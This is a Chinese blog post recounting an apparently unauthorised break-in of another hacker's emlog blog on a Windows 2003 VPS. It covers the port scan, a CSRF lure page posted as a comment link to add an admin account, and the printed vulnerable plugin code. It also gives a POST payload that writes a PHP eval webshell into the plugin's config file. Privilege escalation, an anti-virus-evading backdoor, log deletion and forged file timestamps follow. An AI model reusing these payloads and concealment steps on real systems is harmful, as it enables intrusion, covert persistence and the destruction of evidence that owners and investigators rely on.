某黑客站

对某黑客博客的一次测试,记录下。

信息收集

独立 VPS,无 CDN,IP:8.8.8.8,Windows 2003 操作系统。nmap 扫描端口,发现开放 80,135,999,1025,1026,3306,3389 端口。

端口 信息 利用
80 IIS 6, emlog 脚本入侵,利用 emlog 漏洞
135 MSRPC
999 IIS
1025 MSRPC
1025 MSRPC
3306 MySQL,无法外连 提权时可考虑
3389 MS-WBT-SERVER 暴力破解3389 密码

漏洞挖掘

从 web 入手,emlog 博客程序后台添加管理处无 token 认证,即存在 CSRF 漏洞。当服务器支持 zip 解压时,后台可通过上传插件活主题 getshell;服务器不支持 zip 解压时,可以考虑审计插件 getshell。

漏洞利用

利用 Phithon 编写的 emlog exp。编写 CSRF 页面,传到肉鸡服务器上,通过评论插入链接诱使黑客访问。

数日后,黑客登录后台,访问链接成功添加管理。

利用新添加的管理登录后台,试图通过上传主题 getshell,却发现服务器不支持 zip 解压,于是改变方向对插件进行审计。博客安装了个邮件通知插件,审计挖掘到一枚文件写入漏洞:

function plugin_setting(){
        require (EMLOG_ROOT . '/content/plugins/commentNotice/commentNotice_config.php');
        foreach (explode(",",$_POST['exclude']) as $exclude){
                $excludes = $excludes.'"'.$exclude.'"'.",";
        }
        $excludes=rtrim($excludes, ",");
        $newConfig = ' "'.$_POST["host"].'", //smtp服务器
        "smtpUser" => "'.$_POST["user"].'", //发件邮箱
        "smtpPwd" => "'.$_POST["pwd"].'", //发信邮箱密码
        "rule" => "'.$_POST["rule"].'", //0为所有人,1为仅自己
        "exclude" => array(
                '.$excludes.'
        )
);?>';
        @file_put_contents(EMLOG_ROOT.'/content/plugins/commentNotice/commentNotice_config.php', $newConfig);
}

对 POST 参数未做任何过滤就写入到本地配置文件中,于是构造:

$_POST["host"] => ");@eval($_POST['xxoo']);?>

成功写入文件,getshell。

权限提升

Windows 2003,支持 aspx,可以执行命令。查看系统信息,发现补丁打的很全,MYSQL 被降权,多余的第三方软件也没有,一时陷入僵局。

一段时间后,不知什么原因,黑客更换了服务器,重新查看信息后发现补丁都没有打了,尝试 pr 提权,报错:找不到 wmi 进程,其他的 exp 也都失败。扔给音符牛,还是用 pr 提下了,应该是期间黑客重启 IIS 了。

后门 & 日志清理

网站写入免杀马,删除相关日志,将修改过的文件都恢复至原样,文件时间修改至与其他文件时间一致。

经验总结

  • PR 找不到 WMI:http://www.91ri.org/7010.html
  • 经验很重要!

感谢 @音符牛。